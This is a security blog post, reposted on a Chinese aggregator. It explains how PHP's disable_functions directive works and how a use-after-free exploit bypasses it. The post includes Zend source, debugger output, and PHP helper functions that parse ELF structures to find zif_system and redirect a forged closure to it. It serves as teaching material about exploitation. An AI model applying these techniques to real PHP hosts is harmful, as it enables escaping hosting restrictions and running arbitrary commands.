内容简介:In a tremendously generic and simplistic way, we can classify disable_functions exploits under two big “labels”: or they are related with a call to an external binary (for example the well-known mail() + putenv() exploited by the toolWe are going to dive o
In a tremendously generic and simplistic way, we can classify disable_functions exploits under two big “labels”: or they are related with a call to an external binary (for example the well-known mail() + putenv() exploited by the tool Chankro , command injections like shellshock / imap_open() , etc.) or they are based on memory corruptions. About the first kind of exploits we already talked before in this blog, and even explained a naive way to discover them automagically . So lets focus this time on the second one :D
We are going to dive on this topic with the help of this exploit from mm0r1. Instead on focus on the root casue or how the UAF works, our intention is to explain how the bypass is made. The same technique can be translated to similar vulnerabilities.
Our setup is based on a Debian and PHP compiled with debugging symbols:
- PHP 7.2.11 (cli) (built: Oct 24 2018 01:39:46) ( NTS )
- Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux
Let’s begin!
How disable_functions works
The first thing we have to clarify is how this directive works. In PHP the functions are classified in two types: “internals” functions (var_dump(), base64_decode(), etc.) and “user” functions (function blabla($a,$b){…}). Both of them are registered by the engine in a HashTable called function_table and this HashTable is the one used to look up functions when they are called from a PHP script.
The main code responsible for applying the directive is the following:
ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) { zend_internal_function *func; if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) { zend_free_internal_arg_info(func); func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE); func->num_args = 0; func->arg_info = NULL; func->handler = ZEND_FN(display_disabled_function); return SUCCESS; } return FAILURE; }
The code looks up the function name inside the function_table and changes the original handler to a function called display_disabled_function. As you can imagine, it gives you the classic message:
/* Dummy function which displays an error when a disabled function is called. */ ZEND_API ZEND_COLD ZEND_FUNCTION(display_disabled_function) { zend_error(E_WARNING, "%s() has been disabled for security reasons", get_active_function_name()); }
So everytime we try to call a function disabled by this directive we are going to call display_disabled_function
instead of the desired one :(
. We can corroborate this behavior using a debugger. To test this put a breakpoint on zend_disable_function
and run the binary with -d 'disable_functions=system' exploit.php
:
Breakpoint zend_disable_function pwndbg> bt #0 zend_disable_function (function_name=0x555556811aa0 "system", function_name_length=6) at /tmp/php-7.2.11/Zend/zend_API.c:2839 #1 0x0000555555ae6a0b in php_disable_functions () at /tmp/php-7.2.11/main/main.c:229 #2 0x0000555555aeb1d4 in php_module_startup (sf=0x5555566bd9e0 <cli_sapi_module>, additional_modules=0x0, num_additional_modules=0) at /tmp/php-7.2.11/main/main.c:2326 #3 0x0000555555d4e479 in php_cli_startup (sapi_module=0x5555566bd9e0 <cli_sapi_module>) at /tmp/php-7.2.11/sapi/cli/php_cli.c:431 #4 0x0000555555d509d1 in main (argc=4, argv=0x5555566f2890) at /tmp/php-7.2.11/sapi/cli/php_cli.c:1371 #5 0x00007ffff69282e1 in __libc_start_main (main=0x555555d503fb <main>, argc=4, argv=0x7fffffffe4b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4a8) at ../csu/libc-start.c:291 #6 0x0000555555684d3a in _start ()
We can see how the function name declared in the directive (system) is passed as argument to this function. At this point the handler from the function_table is untouched:
pwndbg> p *func $7 = { type = 1 '\001', arg_flags = "\004\000", fn_flags = 256, function_name = 0x555556726a90, scope = 0x0, prototype = 0x0, num_args = 2, required_num_args = 1, arg_info = 0x5555565f80d8 <arginfo_system+24>, handler = 0x5555559fa20b <zif_system>, module = 0x555556721730, reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0} }
Lets check the value again just before the return:
pwndbg> p *func $8 = { type = 1 '\001', arg_flags = "\004\000", fn_flags = 256, function_name = 0x555556726a90, scope = 0x0, prototype = 0x0, num_args = 0, required_num_args = 1, arg_info = 0x0, handler = 0x555555baa699 <zif_display_disabled_function>, module = 0x555556721730, reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0} }
Now the handler field is pointing to the display_disabled_function. If you are wondering why the functions have a “zif_” prefix it is because they are created using the PHP_FUNCTION macro and it expands to a C symbol with the acronym of “Zend Internal Function” .
This tactic prevents the calls to “dangerous” functions inside the script but… zif_system is not erased from the universe. It still existing in the process and we can reach it if we can play with the memory :) .
When the memory corruption comes handy
The first thing we need is to found the zif_system location at runtime. For that we need a primitive to leak arbitrary memory contents. The exploit solves this search finding the binary base and then parsing the ELF structures in order to find the target function:
function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
Once we have this information the next step is to think in a way to call zif_system. In this exploit an approach based on closures is used. In PHP anonymous functions are implemented using the Closure class . The main structue related to closures is zend_closure :
typedef struct _zend_closure { zend_object std; zend_function func; zval this_ptr; zend_class_entry *called_scope; zif_handler orig_internal_handler; } zend_closure;
Getting deeper inside the func field we can find that exists a handler pointing to the function with the code that will be executed. Indeed, the closure object created by the exploit (the real one) is:
pwndbg> p (*(zend_closure *) 0x7ffff38652c0)->func->internal_function $3 = { type = 2 '\002', arg_flags = "\000\000", fn_flags = 135266304, function_name = 0x7ffff3801d70, scope = 0x0, prototype = 0x7ffff38652c0, num_args = 1, required_num_args = 1, arg_info = 0x7ffff387c0f0, handler = 0x7ffff3879068, module = 0x2, reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0} }
The exploit creates a fake closure object copying the values and changing the type to the value “1” (internal function) and the handle to the zif_system location, so this function will be called instead:
pwndbg> p (*(zend_closure *) 0x7ffff38929a8)->func->internal_function $4 = { type = 1 '\001', arg_flags = "\000\000", fn_flags = 135266304, function_name = 0x7ffff3801d70, scope = 0x0, prototype = 0x7ffff38652c0, num_args = 1, required_num_args = 1, arg_info = 0x7ffff387c0f0, handler = 0x5555559fa20b <zif_system>, module = 0x2, reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0} }
Conclusions
I hope this brief post can be useful to understand how disable_functions works and how the memory corruptions are used in order to achieve a bypass. As long as you can run arbitrary code inside the process you are going to be able to call any function inside the binary. If you find any error or typo, feel free to ping me at twitter ( @TheXC3LL ) so I can fix it.
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。